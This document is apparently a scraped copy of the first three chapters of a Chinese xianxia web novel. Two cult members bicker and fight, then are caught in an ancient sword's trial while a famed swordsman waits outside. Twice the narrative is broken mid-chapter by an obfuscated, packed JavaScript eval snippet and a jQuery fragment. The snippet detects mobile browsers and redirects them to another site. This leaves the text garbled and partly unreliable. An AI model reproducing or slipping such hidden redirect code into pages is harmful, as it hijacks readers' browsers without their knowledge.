《说好的反派为所欲为呢》 1. 盈主 千仞山涧之下的溪谷,云雾窜动,隐隐有人声传出。 “不过是个靠皮相魅惑教主的废物,真是好大的架子!” 一黑一灰两位修士在石边倚坐,不知是为何受了气,黑衣男人率先出言议论,另一人闻言,忐忑地制止道:“你小声些,他还没走远呢!” “怕他做甚么?他掌教的位置,估计也是吹枕边风得来的!”黑衣男人嗤笑一声,“你可知外面是怎样说他的……” 灰衣男人本还想继续劝阻,但余光里已瞥见了一抹红色折返,当即噤声,往地上一跪,拱手恭敬道:“盈主。” 黑衣男人见此,登时大惊失色,也匆匆跪在地上,“盈主……” 他方才口出狂言,现在却面色寡白,眼珠一转,正要寻找理由,却忽然被一道急甩过来的鞭子缠住脖子,整个人都被吊在半空,一张脸因窒息而通红,半句辩解的话都说不出来。 “也让我听听,他们是怎么说我的?” 被称作“盈主”的漂亮少年手持白色骨鞭,一身红衣披金纱,颜色艳丽极了。 领口露出一点莹白的肌肤美玉无瑕,绸缎似的乌发垂坠几缕在颈侧,三种颜色各不相让,各争各的。 再往上,便是他那一张宛若新雪的脸庞,本以为会压不住这光彩夺目的色彩,却不想他相貌生得极好,浓姿艳色,眸光潋滟,衬得他那身衣裳都黯然失色,理应用琳琅满目珍珠宝石来点缀才算相配。 折盈将鞭子越收越紧,冷笑追问:“说呀?” 他有一双微微挑着的眼睛,漆黑的长睫下藏着灵动似琥珀的眸子,一颦一蹙都莹莹动人,散发着一股天真到残忍的笑意。 一旁的灰衣男人于心不忍开口请求:“盈主,求您高抬贵手,饶他一命!” “住口!”折盈笑容一散,一掌拍去。 灰衣男人向后疾退,呕出一口鲜血,并非是折盈有意绕他一命,只是折盈功夫修为尚且不及,这一掌并不足以取他性命。但即便如此,灰衣男人也不敢出手抵抗。 可那黑衣男人却显然不这么想,他已然到了极限,整张脸因窒息而通红,双手却藏于背后,掌心凝聚一团灵气,做好了殊死一搏的准备。 折盈猛地一拉骨鞭,带着一股要将人的脑袋活生生拧下来的力气,薄红似染血的嘴唇轻轻一动:“去死吧。” 黑衣男人岂会坐以待毙,正要还手,却被突如其来的一道凌厉流光击中胸口,又被折盈的鞭子一甩,身体骤然飞出,撞上一侧山壁,顿时七窍流血。 虽然还活着,但也只剩一口气吊着,堪堪掀起眼皮,见另一紫衣蒙面的男人飘然落在折盈身边,顿时心死。 那人正是鸾火教的另一位掌教,积月斜。 积月斜出手帮他,可折盈脸上却不见欣喜,甚至又多了几分薄怒,眉眼生动,浓睫简直要翻到天上去,他指着男人道:“积月斜,你又坏我的事!” 积月斜戴着半张黑色面具,遮住上半张脸,唯有唇角翘起,似笑非笑:“谁又惹我们盈主生气了?” 他身姿飘逸,甚至一眼都未看向那濒死的黑衣手下,手掌中还残余着点点灵气,如同片片利刃,转眼化为青烟。 折盈心情不悦,听他这话也觉得刺耳,心中积累的怨气全都撒在了积月斜身上:“看到你就烦,他该死,你更该死!”说罢,他一扬鞭,形状漂亮的骨鞭摔出一声响,竟如同一条灵蛇,嘶嘶地便朝着积月斜而去! 折盈跟积月斜既是同僚,更有自少年时便一起长大的情谊,可折盈偏偏和积月斜最不对付。 这两年矛盾愈演愈烈,小则动口,大则动手,鸾火教上下都知道他们二人不和。 折盈原本不懂,只是近来风言风语多了,他这才明白,肯定是积月斜小肚鸡肠在先,嫉妒自己更得教主看重,才会任由手底下的人肆意编排他。 这一次他被凤熠派来协助积月斜的任务,本就是不情不愿。 他上次没办好凤熠交代的事,连累凤熠修为折损,凤熠闭关在即,不得不临时安排积月斜来夺取万剑归宗的镇守之剑——明心一剑,唯有此物才能保证凤熠闭关破镜。 明心一剑乃是上古神剑,据传剑身虽然残缺,却灵气不减,剑意长存,形成了一处灵气萦绕的秘境。 数千年来引得众多剑修携剑朝圣,只为在此留名,求得神剑认可。渐渐地,岁月流转,此地遂被尊为“万剑归宗”,乃是剑修心中至高无上的证道圣地。 但想要在这广袤秘境中找到明心一剑的碎片,无异于大海捞针。 因为明心一剑早碎裂成为数片散布在灵境之中,只有剑修参悟出的独特剑意才能与之共鸣。 若仅是如此,天下剑修之中,仍有数人尚可一试。 更难的是必须得到明心一剑本身的认可,它才会真正现身,它的剑身碎片上会镌刻出剑者之名和剑意。 纵观古今,能刻在明心一剑上的剑意,都是独一无二。 正因如此,天下剑修都有一个来万剑归宗证道的志向,毕竟能得到上古神剑的认可,足以证明剑者的剑心剑意,已然是当世巅峰。 而折盈和积月斜两人都不是剑修,想要拿到明心一剑的碎片,几无可能。 不过,凤熠提早得到消息,当今剑道魁首盛无涯也会将亲赴万剑归宗证道。 盛无涯出身神霄门,风头正盛,不到百年时间便问鼎剑道,修为已到大乘境,臻至圆满,早已被不少人押宝,会是下一个剑仙,故而听闻盛无涯将要证道,不少剑修慕名而来,只为见证这一刻。 有盛无涯在,明心一剑一定会现身。 凤熠看准这个引出神剑的绝佳时机,指派积月斜前往万剑归宗伺机夺取碎片,又点明让折盈随行协助,这摆明了是堂而皇之地找个借口抬举折盈。 可怜积月斜尽忠职守多年,也是为他人做了嫁衣,但折盈只空有一副漂亮的好皮相,修行多年连金丹都未结成,又怎能服众? 再加上凤熠对折盈屡屡偏宠,二人之间的关系,早已成为教众心照不宣的秘密,背后难免议论,而凤熠对此始终睁一只眼闭一只眼,更让人确信两人之间另有隐情。 折盈一人难抵悠悠众口,气得在教中大发雷霆,却又不敢在凤熠面前表露,心中难免积攒怨气,只要逮住谁在背后嚼他舌根,他定不轻饶。 临行前,折盈还一再劝自己莫要与积月斜计较,可火气一冒,什么念头都忘了,心道,这下倒好,白白让积月斜逮着机会看他吃瘪,说不定刚才那两个多嘴的家伙,也是积月斜一早安排好的! 可他毕竟不是积月斜的对手,鞭鞭狠厉,可却触及不到积月斜半分,积月斜身形飘忽,甚至没有动用自己腰后的月镰,故意落在折盈身边,让折盈的鞭子扑了个空。 “他们惹得你不高兴,你冲我发什么火?”积月斜奇道。 气息落在耳畔,折盈冷哼一声,侧身去抓他,反被积月斜握着手腕钳制,暗中偷袭的骨鞭也被积月斜头也不回地抬手握住,骨鞭在积月斜手臂缠绕几圈,勒得他手背青筋凸起,骨刺竟如毒牙一般咬进他的血肉里。 积月斜回头看了一眼,眼中掠过一抹诧色:“教主还真为你花心思,竟然连万年蛟蛇的毒牙都给你寻来了。” 折盈也是初次对人用上这一招,闻言不觉他话中有话,反而面露得意,道:“那是自然,这种好东西,你怕是见都没见过吧?” 积月斜轻笑:“不敢奢求。” “那不就得了,”折盈拽了一拽,见积月斜仍旧制住他,“还不放手?” “不放。” 折盈瞪着他,一双浸润了水光的琉璃双目赤诚诚地含着怒意:“你!”他眨了一下眼,也笑了,“那你就等着被我的鞭子吸干血吧!” 积月斜道:“你有这种好本事,尽用在我身上,不如想想待会要是打起来,你能不能多杀两个神霄门的修士?” 折盈看到骨鞭饮血,心中早已跃跃欲试,“还用你说?到时候你躲远些,误伤到你,我可不管。” 二人靠得极近,红紫的衣裳交叠,折盈打斗时飞散的长发也缠在了积月斜腰间的络子上,积月斜面具下的眼皮一垂,将手一松,折盈的鞭子也撤回去,可他满手鲜血淋漓,他并不觉得痛,反而因为折盈的一声痛呼而循声看去。 “我的头发……” 折盈紧紧皱着眉,一手捏着自己的长发,发尾缠得死紧,他扯了两下扯不开,愤愤就要直接头发绞断,积月斜手一挡,道:“何时能不这么毛毛躁躁?” 为了避免扯到头发,折盈弯了腰,说:“那你来解,还不都是因为你?” 后面半句积月斜没有回应,只用另一只干净的手仔细地解开那紧紧缠在一起的头发,折盈也耐心等着,时不时凑近了看:“好了没有呀?” 积月斜道:“你别乱动。” 折盈头发长,乌黑柔顺的满满一握,只挽了一个简单的发髻,他原本喜欢在发上戴一些首饰,就如同喜欢一些鲜艳的颜色,但最后总不知道丢在了哪里,久而久之,他便不戴了,转而用一些珠串和头发编在一起,旁人也都说好看,他颇为满意自己的小巧思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834547|191219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “笨手笨脚的,”折盈不满,看到积月斜那一只血手,惊呼一声,“哎!” 积月斜动作一滞,见折盈看向自己受伤的手,心中舒缓,正要说没事,却听到折盈略带嫌弃的声音说:“你别弄到我的头发上,衣裳上也不行!” “……” “你自己弄吧!”积月斜冷冷一撇嘴角,也不给他解头发了,沾血的手一甩,血珠溅在折盈衣摆上,即便红色与红色融为一体,折盈也看得清清楚楚。 “积月斜!你故意的!” 积月斜不想再搭理他,转身就走,仍然缠在一起的黑发和络子拽着折盈也往前一步,疼倒不是那么疼,只是折盈受不了积月斜这么捉弄他,弯腰追着他走。 但积月斜突然一回身,和骂骂咧咧的折盈撞在一起。 积月斜下意识伸手接住他,折盈却叫起来,立刻将他推开,“我的衣裳!” 即便戴着面具,也能看出积月斜面色不虞,“一件衣裳,能有这么金贵?” 折盈看着金纱上的血迹,面露可惜,头也不抬道:“当然,这可是教主送我的衣裳。” “既然这样……”积月斜指尖凝了一道泠光,往下一划,折盈那一缕发丝应声而断,“不用谢了。” “你……”折盈一愣,手腕一转,也道,“你给我等着!” 一道掌风袭来,积月斜躲过,可他那还缠着折盈发丝的络子却被径直斩断,啪的一声落在地上,积月斜的目光久久没有移开,直到折盈将那个沾血的金纱也丢在地上,恰好盖在他的芙蓉色络子上。 那络子看着不算精致,编织的还不对称,就连颜色也泛旧,似乎是旧物了。 积月斜抬起头来,折盈对他挑眉一笑,堪称挑衅。 “折盈。”积月斜看向他,面具下的眼睛笼罩着一层阴影,让人看不清他眼底的情绪。 折盈应道:“你想怎样?” “捡起来。” 折盈轻嗤一声,但见积月斜腰间的月镰好似活了过来,在积月斜周身停留,镰刃镀着冷光,只待积月斜一声令下,那宛若弯月的长镰,便会直取折盈头颅。 “你来真的?”折盈将鞭子一绕,吸过血的骨鞭通体萦绕着淡淡的绯色,骨节连接处的毒牙隐隐若现,“我是打不过你,但你也别太嚣张。” 积月斜并未回答,只动作迅速地向前一步,同时,镰刀旋着疾冲而来,折盈双瞳放大,连忙用鞭子阻挡,可积月斜却再次空手接白刃,一把拽住鞭子,不知用了极大的力气,硬生生将折盈带着往前,折盈也不松手,誓死要保住自己的武器。 该死的积月斜! 折盈身量高挑纤细,却仍是少年模样,只因根基薄弱,没有天赋,故而修炼时也谈不上用心,身上更是没受过什么伤,细皮嫩肉,宛如是用雪堆出来的偶人。 积月斜只用手臂揽住他,圈出来的空隙尚有余裕,竟还有空低眸看上一眼,惊叹折盈的薄薄一片的身体,难怪刚刚抓他过来,也觉得轻得像片羽毛。 折盈不明所以地抓着他的衣襟。 身后的锋刃破空之声却听得明明白白,折盈扭头看去,竟是那黑衣男人打算趁他不备偷袭,若不是积月斜反应更快,险些被黑衣男人得逞,镰刀锋刃在男人脖颈转了一圈,表皮毫无伤痕,他却陡然身体一软,直直地栽倒在地,竟是直接被斩断了颈骨! 灰衣男人吓得目不忍视,心道还好没有听信对方的话鱼死网破,折盈确实本事平平,但积月斜却已到玄起境,折盈和积月斜两人看似水火不容,其实都是脾气古怪的主儿,上一刻可以刀剑相向,转瞬便又可以默契无间。 就像……刚刚那样。 折盈毫不在意那人的死,眸中充斥着一股高高在上的藐视,好似已经见怪不怪,再看向积月斜时反而埋怨他,哼了一声,道:“你成心吓我是不是?” 积月斜唤回月镰环在身侧,那弯月月镰不像是武器,倒像是听话的宠物,“逗逗你而已。” 折盈正要反唇相讥,却忽闻山涧之外,传来窸窣的人声,想来是神霄门的盛无涯率领众人也进入了万剑归宗。 “他们来了,快走。” 折盈将鞭子卷到腰间,那鞭子竟也有灵性似的,乖乖地收起獠牙,如同一根素白的骨链挂在折盈腰间几圈,成了恰到好处的装饰。 积月斜落后几步,捡起络子,将缠在上面的折盈的发丝一捋,一圈圈地缠在手指上,拍拍芙蓉络子的灰尘,放进自己的储物袋中,微微偏过头看向那跪地的灰衣下属,薄唇一动:“还不快滚?” 2. 明面主仆 万剑归宗的灵境之内,布满云雾,三尺之外,顿失踪迹。 折盈跟在积月斜身后,周围的云雾缠得紧,只是几个眨眼,折盈险些便要迷失,连忙跟上去,却被积月斜回身扣住手腕:“你去哪儿了,跟紧点。” 方才积月斜匆匆回眸,只见折盈大红的衣摆像一尾红鱼滑进雾里,还好手出得快,将他抓了回来。 折盈以怨报德,说:“你抓疼我了,还有,我哪儿没去,一直跟着你,是你走得太快,我差点迷路!” “万剑归宗没有路,你得跟着我,别分心,要是迷失在雾里,可就回不来了。“ 一番话恐吓得折盈连连点头,手也抓的更紧,边思索:“要不我用鞭子把我们的手捆起来好了,这样就走不散。” 积月斜声音中的笑意都被雾气磨淡了:“神霄门派人来剿,一捉捉一双。” 他走在前,说的话一句句落下来,“大道神武那群人,表面衣冠楚楚,其实没一个好货。” 大道神武门下三宗,无一例外,都是鸾火教厌恶的对象,但折盈听得多了,也能感觉得出,积月斜更加讨厌徵武宗。 果不其然,积月斜冷笑:“不知今日徵武宗有没有派人来,若是有,我定教他有来无回。” 折盈捏捏他的手,摇摇晃晃,像是劝诫,但更像是摆出架子拿捏积月斜:“不要闹大,我们只为取明心一剑碎片而来。” “你当我是你?” 积月斜睨他一眼。 折盈狠狠地掐他的手。 上回折盈替凤熠办事,交代的本是一件小事,凤熠要折盈潜伏进世家宴会之中,甚至不必做些什么,只注意几个人的动向,打听他们说的话,再回来一字不差的转述即可,折盈满口应下,甚至想要借此机会离开鸾火教好好地玩耍一番。 他被拘在教中多年,凤熠待他虽好,可管的实在是事无巨细,觉得他修为欠缺,出去一定会受欺负,折盈不想听话,却不敢多言更不敢反抗。 可在宴席上,他听得旁人说起鸾火教为祸江湖,又将凤熠翻来覆去骂了一通,作为凤熠的手下,折盈和积月斜也被殃及。 若单单只是骂人的腌臜话,折盈岂会不懂,只是他们编排人也说得委婉,时不时笑上一笑,折盈起初还听得津津有味,再一看那些人脸上的神色,各个都露出心领神会的表情,笑容莫测,一看就知道不是什么好话。 折盈摸不着头脑,他们为何而笑,又听到他们话里话外提到自己的名字最多,猛然醒悟,这是被当成笑话了! 他不甘心不明不白,便将听来的话问宴中其他人:“他们说的是什么意思,什么叫折腰坦玉门,细蕊盈香尘……还有还有,什么是……”折盈细眉一拧,“哎不记得那么多,你只告诉我这一句是什么意思?” 他还未说完,那人便揶揄地笑开了,见折盈两眼澄澈,难掩好奇,才知道他是真的不懂,附耳过去和折盈解释:“……就是说折盈为了讨教主欢心,不惜献身,自荐枕席,明面上两人是主仆,背地却勾勾搭搭到了床榻之上……”还多说了一些,“折盈一无所长,也只有一副好相貌值得一观了……” 折盈也没听完,当即大喝一声:“放他娘的屁!”将桌子一掀,气得大闹宴会,将那造谣生事的几人倒吊起来浸入粪桶里,美其名曰漱口。 如此还不解气,将骨鞭一亮,险些开了杀戒,最后不知是谁搬来了救兵,折盈不敌,仓皇离去。 这般闹了一通,折盈哪里还记得凤熠交代的事,半句话也复述不出来,倒是那一句诗,反复在他心口回荡,悲痛恶心交加,眼中也湿润了。 凤熠见他如此,也不追究他的过错了。 这本是宽恕,可折盈心中仍旧不是滋味。他知道自小凤熠便待他好,远比对积月斜要好,在鸾火教中,他宛如小太子一般恣意,谁也不怕,却不知这种好竟也是要还的。 积月斜又带着他穿过几道逼仄的山涧,好似对这里的一切驾轻就熟。 灵境之内,除了雾,便只有一对又一对矗立着的山涧,直插云霄,折盈抬头看去,直觉那山涧如同利刃,像什么呢,接连走过几个山涧,折盈才恍然大悟,这不就是像是一柄又一柄的剑吗。 折盈并非剑修,他甚至摸不清自己究竟适合修习什么道,便问道:“那什么神霄门的……盛无涯,真的能让明心一剑现身?” “当世剑客何其多,盛无涯不过是薄有盛名而已,他的无涯剑,名字取得狂傲,真以为是剑如其名?论资排辈,他也还不够格。”负剑匣者在前,一行人跟在身后,听到身后不间断的议论声,他忍无可忍地开口,“等他的无涯剑真的被认可,入了这万剑归宗再说罢!” 神霄门盛无涯自小天资卓越,入选竞争激烈的百位内门弟子席位,之后又被剑仙慕容符声收为弟子,他以自己的名字命名佩剑,可见其心远大。 盛无涯入道不到百年,接连战胜了几位剑修前辈,被人评价不懂隐藏锋芒,盛无涯非但不改反而放言,要一举证道,在万剑归宗留下无涯剑的剑意。 何等豪迈? 这才引得众多好事者来看,成与不成,这种天大的谈资,总要亲眼看看才算值得,不过也并非人人都不看好盛无涯,盛无涯少年成名,他的无涯剑也实打实地惊艳过不少人,自然也是有信服的。 人群之中立刻有人反驳:“你又是什么人?无涯剑在名剑榜,排名十三,你若是不服气,大可以报上名来,让大家也看看你是什么本领!” 那长长宽宽的剑匣一动,背着剑匣的人也转过身,是一张周正严肃的面孔,“无涯剑?呵,你们口中的无涯剑,在多年前便已经输过我一次了!” 有人并不相信:“那你的剑也入了这万剑归宗咯?” “还未。”他答地果断,并不以此为耻。 “哈哈,那你如此狂言,实在是有违剑者内外兼修之道。” 那人被如此批评,脸上却不见恼,正色道:“所以我今日过来,便是想看看无涯剑能不能一举证道。” 议论声起,但所有人的目光却都向天上看去,那男人也随即抬起头,万剑归宗之内仍旧布满云雾,只有犹如擎天巨剑般的石柱若隐若现,而那云雾之中,竟被劈开一道口子。 仔细一看,那岂是破口,原来是剑芒留下的尾迹。 “陈兄,贝海一别,数年不见,观你周身气度,想来是剑术又精进了。”遥遥一声透过云雾传来,众人皆识得,正是无涯剑盛无涯的声音。 看来盛无涯早已到了万剑归宗,只是一直未曾露面。 陈三两声音爽朗:“无涯剑!阔别多年,我可一直记挂着你我约定的再战之局,不知何时有空,你我再切磋切磋,我想知道无涯剑究竟到了何种地步!” 盛无涯也笑道:“陈兄如此,我心亦然,不过我还需先完成眼前之事,陈兄若是不急,等上我一时半刻,我必来赴约。” “一时半刻?” 闻言,陈三两哈哈大笑:“无涯剑,你狂妄了。” 盛无涯无声,似是默认。 “明心一剑的考验,可不是那么轻易便能通过的。”陈三两也略带遗憾地道,“此处虽名为万剑归宗,但真正被明心一剑认可的剑,仅有十几,万年以来,即便天才百年难出,那也有百人之多,举世盛名的剑,更是不计其数。”他仰着头,“不过……无涯剑,等你消息。” “其实我是想说,明心一剑若是认可,哪怕困我一年半载,也是磨炼心性,反之,明心一剑想什么时候让我滚,我就得什么时候滚,可能你们很快就会看到我出来了。” 这一番话说完,寂静无声。 还是陈三两道:“无涯剑,你刚刚是在说笑吗?” 盛无涯道:“是啊,不好笑吗?” “不好笑,尤其是你解释了之后,更不好笑。” 盛无涯倒是自顾自的笑两声,说:”好吧。我走了。“ 紧接着,万剑归宗便响起巨震,似有地动山摇之势,浓雾被搅得更乱,伸手不见五指,只能听得人声,那望不到顶的巨石也摇摇晃晃,碎石滚落而下。 陈三两倒是不为所动,稳稳站立,“无涯剑,知道你轻狂,但也不必这么大的阵仗。” 盛无涯说:“不是我。” “那是谁?” 这动静未停,万剑归宗散发灵光,历年来来此证道的剑客所留下的剑招剑痕尽数显现,成千上万把剑自白雾中凝出虚形,寒芒乍起,一时之间令人难以直视,修为略低者竟直接被此情此景威压到心脏骤缩,不能再待在此处,连忙退出灵境。 剩下的人则是仰头看向天际,只见一阵色彩绚丽的流光,延伸向浓雾之中,宛若缎带,多看两眼,顿觉五感通畅,这才明白,那便是明心一剑残留的剑意。 果然是上古名剑,即便断裂不复存在,遗留的一丝一毫剑意也都灵力充沛,难怪来万剑归宗证道虽难,可来一趟,得到了明心一剑的剑意滋润,对自身也是大有增益。 旁人不知道,陈三两作为来过一次的人,自然清楚,不禁目露意外之色:“难道……” 盛无涯声音低沉,已然对此有所预料,“有人先我一步,进了明心一剑的试炼之中。” 话音未落,盛无涯已然持剑前往,跟着绚烂流光直到尽头,分明都是灵境之中,盛无涯却觉得过了许久,直到盛无涯也不能再进一步,一道无形的屏障将他隔在外面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834548|191219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸出手去,果然,明心一剑将他挡了回来,灵境之中悬着的万剑也纷纷一震,仿佛不满盛无涯干涉。 罢了,先来后到,他就再等等吧。 盛无涯既来之则安之,将剑横在身前,随意打坐,不多时,周身已有灵气环绕,原本弥漫在周围的雾气竟倏地失退散,唯独他所处之处清明如净土。 他不受环境变化所扰,催动灵气在周身游走,此处灵气充沛,是当之无愧的练气宝地,又有前辈的剑意相辅相成,盛无涯只觉十分畅快,面露微笑。 他的相貌放在尘世,说一句英俊潇洒也不为过,剑眉星目,眸若寒星,估摸年岁三十上下,成熟却不老成。 修道之人入道之后大多愿将容貌停驻于弱冠年华,更有甚者不惜重塑五官,以求完美。 盛无涯却从不热衷此道。 他七岁悟道,原来一直是少年相貌,却因行走江湖多有不便,才刻意令停驻的年岁继续向前走动,对于如今的模样,盛无涯倒也满意,反正他整日除了钻研剑道,便是去寻人切磋,哪里还有时间照镜子。 他眉头一皱,蓦然起身,无涯剑也随他而动。 为何这四散的剑意之中,竟透出一股熟悉的意味? 盛无涯这边闲散适意,而身在屏障之中的折盈和积月斜却苦不堪言。 两人正被数道凌厉的剑光追得到处躲避,在雾中穿行,早已不知身在何处,但无论跑了多远,都是假象而已。 积月斜的镰刀一把留在身侧,抵挡剑意,另一把还要分神出去伴在折盈周围,折盈显然已经力不从心,身上带伤,精致如同鸟羽的衣裳也碎得不成样子,他的骨鞭虽然敏捷,却并不能兼顾八方,但有了积月斜的帮助,堪堪能够应付。 “你干什么了!”积月斜几步疾冲,飞身踩上一把即将碎裂的剑形,借力回挡,边冲那一侧的折盈喊,“为什么明心一剑会拿我们试炼?” 折盈喊冤:“我什么也没碰!” 他将鞭子一甩,同时脚尖掠地,向后疾退,将面前的剑光聚在一起,找准时机,脚一蹬地,翻身而起,骨鞭如蛟蛇,将剑光绞碎! “你别血口喷人,我看是你踩了什么机关才对!” 话虽如此,但两人配合极为默契,折盈的鞭子将积月斜一卷,下一瞬,三把剑影便铮的一声插在了积月斜原来的位置上,积月斜的镰刀在折盈身后急旋,折盈不必回头,更不必在意身后会出现危险,因为自有人给他料理。 折盈将眉毛一挑,神情狼狈,眸光却亮着,真是极好的颜色,一缕发丝贴在他的颊边,被他轻轻往后一捋,“看什么看,出去之后记得谢我。” 积月斜收回目光,唇角却不觉挂笑。 这种紧要关头,积月斜不再多言,专心解决眼前困境,察觉到这些剑光来自万剑归宗本身,无穷无尽,一味躲避是讨不到好处,想要破局只能另想他法。 “来我这里!”积月斜道,月镰被他用灵力催发得更加巨大,真如一轮弯月,镰刃淬满血光,同折盈的鞭子一样,并非凡品武器,一前一后将二人护着,挡下不断射来的剑光。 折盈听话地靠过去,他身着红衣,受了伤也不显,又一直在动作,察觉不到疼痛,此时停下来才觉得四肢都被剑光割伤了,抬手一看,果然手腕早已堆满了血,折盈只一拧眉,并不喊痛。 积月斜将这一幕尽收眼底,道:“劝过你多少回,修行最忌讳偷奸耍滑,你若是勤勉一点,少分一些精力跟我作对,今日也不至如此狼狈。” “都什么时候了,你还要损我?” 折盈气喘吁吁,“现在该怎么办?” “躲是躲不完的,必须找个机会,一举解决。”积月斜心中推演,仍觉存在纰漏,一时沉默不语。 反而是折盈急躁,眼见剑光愈发密集,与镰刃相撞发出刺耳铮鸣,声音刺耳,折盈捂着耳朵,紧紧靠着积月斜身边,无措道:“积月斜……” 积月斜灵光一闪,将折盈的手抓着,“不必害怕,还能撑一段时间,只是想要破阵,还需要你帮我。” 折盈看着他面具下的眼睛,点了点头:“要我做什么?” 尽管平日争执不休,终究是少年相识,相伴多年,情谊仍在,当下危机关头,折盈愿意信他。 “论身姿敏捷,我不及你,我需要你引着剑光聚到一起,越多越好”积月斜轻轻一笑,语气冷静,“不必担心,我会分出月镰护你周全,绝不让你再受伤。” 折盈听完,环视四周翻飞的剑影,道:“想一网打尽?可这些幻剑源源不绝,似乎……”他眼眸睁大,像是也想通了关窍,“你是说,这些都只是分身?你要找的,是藏在其中的那把真剑?” 3. 等候 积月斜道:“还不算笨。” 折盈正要说什么,却不想积月斜撕下自己的一片干净的衣袍,对他道:“手伸出来。” 折盈将两手摊开,积月斜给他的手掌草草包扎,折盈却好似忘了身在何处,鼻子皱着,“太难看了。” 积月斜立刻就要拆下。 “诶,小心眼。”折盈笑笑地蜷手,说着动了动鞭子,已是准备好了,“我这么相信你,你可别害我,要是我有个三长两短,看你怎么跟教主交代。” 积月斜没有说话,只凝视他的背影,不禁想问,你既如此信任凤熠,又为何时常惧怕?你究竟有什么事瞒着我? 但到底没有问出口。 折盈已经飞身而出。 他一下成了靶子,千万剑光倏倏袭来,积月斜分出一道月镰为折盈清除障碍,一边聚精会神地观察剑阵的变动。 余光中,折盈如蝶穿雾,手持骨鞭左右开弓,顷刻间,身后的剑已经聚集成一线,紧追不舍。 但见折盈脚踩剑尖,竟任由月镰在他手腕环绕,身形一转,将追至最近的几道剑光铛地震开! 积月斜收回目光,静心观察, 既是剑阵,又如此灵活多变,阵眼必然藏于其中,想必就是那把真剑了。 若是剑修,只需催发本命剑,在万千剑影中感应共鸣即可破局,可这幻剑不仅数量惊人,更不断扰人心神,身在剑阵当中,需要不断分神抵御攻击,实在难以静下心来。 心若不宁,意若不坚,连自身剑意都难以掌控,又何谈与剑阵融汇相通? 积月斜只剩一柄月镰,他捏了个诀,浮身至镰刃处,边将灵力灌入镰刃之中,无数幻剑袭来,皆被镰刃挡下,积月斜一一辨别。 没有,都是幻剑! 这一波幻剑才被击退,转瞬间,便又有无数幻剑补上。 积月斜暗骂一声,强行将灵力铺开,如同一张蛛网,将幻剑笼入网中。 那厢折盈也逐渐力竭,他虽身法轻灵,可剑光越聚越多,显然都是冲他来的,他冲积月斜大喊:“找到了吗?” 积月斜此时无心回应,他的灵力甫一触及剑阵边缘,立刻就被一股锐意猛地弹回,气浪翻涌,积月斜重重摔落在地。 折盈见状,正要出手,积月斜却喊:“不用管我!” 折盈只好回神应对自己面前的幻剑,再度望去时,积月斜已不知从何处抓出一把旧剑,闭目凝神,竟让所有的幻剑都慢了下来,渐渐停滞,悬停在半空。 折盈一喜,总算得以喘息,轻飘飘地落在积月斜身侧,正要问他情况如何,可积月斜刚一起身便猛地一晃,呛出一口鲜血,若不是用那把旧剑撑着身体,他险些就跪在地上。 折盈扶住他的手臂,只觉他浑身都在细微的震颤,又用手掌握着他的手背,吃了一惊,竟然毫无温度,即便积月斜半张脸都被面具遮挡,可折盈仍能看出他脸色苍白,唇上沾血,“你,你还好吗?你从哪儿来的剑?” 积月斜仿佛也才回神,随着折盈的话看向手中剑,茫然道:“我不知道,我刚刚试图破阵,却被剑意反噬。我意识到这剑阵专为剑修所设,恐怕非剑不能破,正想着,手中就出现了这把剑……” 周遭的淡色幻剑仿若静止一般,可折盈仍旧不敢放松警惕,只是那些剑又令折盈想起往事,“我记得……你来鸾火教时,修的也是剑道。” 积月斜偏过脸,静静地看着折盈,声音不辨情绪,“你还记得……” 折盈奇怪道:“为什么不记得,我记性很好的。你原本是徵武宗弟子,我还问过你为什么要出走徵武宗,可你一直没有告诉我。” 积月斜擦掉唇边的血,笑吟吟的,“那等我们出去了,我再告诉你为什么。” “先出去再说吧。”折盈正抬头打量那些剑影,“我……” 脖子一凉,是冰冷的剑刃抵在了脖子上,折盈一愣,“积月斜……” 经此乱战,折盈打理过的乌发凌乱纠缠,发间珍珠早已不知滚落到哪里去了,他衣衫领口微微敞开,那一点雪白的肌肤经不住摧残,仅仅只一把旧剑,便轻而易举割伤了他的皮肤,殷红血珠颗颗涌出,沿着颈线滑下。 积月斜的目光依旧幽深,折盈能感觉到他皱着眉,而持剑的手臂颤抖不止。 “积月斜!?” 积月斜强行用另一只手掐住自己的右手,剑势仍旧锋利,“还不快躲开!” 不必他提醒,折盈已经反应过来,积月斜是被这柄剑给控制了! 真邪性! 凭空出现一把剑,现在又被剑给控制,积月斜这么厉害的人,怎么也能着了道? 难道…… 折盈匆匆挥鞭和积月斜拆招,霎时间,他一转攻势,用鞭子将剑刃紧紧缠住,借机说道:“你说你心里想起剑,手中就出现了剑,有没有一种可能,你手里的这把剑,就是剑阵的阵眼?” “你曾也算是剑修,只不过半途而废,这正是你薄弱之处,想要借此控制你,简直易如反掌。”折盈边打边说,“完了,这成了明心一剑对你的试炼了,是不是得你通过试炼,我们才能出去?” 积月斜咬牙道:“别说笑了,快助我将剑脱手,否则,伤了你我可不负责!” 说话间,两人已经过了数招,折盈心知剑虽在积月斜手中,但积月斜尚存理智,这几招的试探下,折盈看出他也在避免伤到自己,所以也未太过惊慌,心中稍定,便道:“剑在你手里还好说,若是脱手,这些幻剑再度暴动该如何是好?” 折盈所言不无道理,但如果放任,恐怕会招来后患,积月斜此时尚且清醒,却难以掌控自身动作。 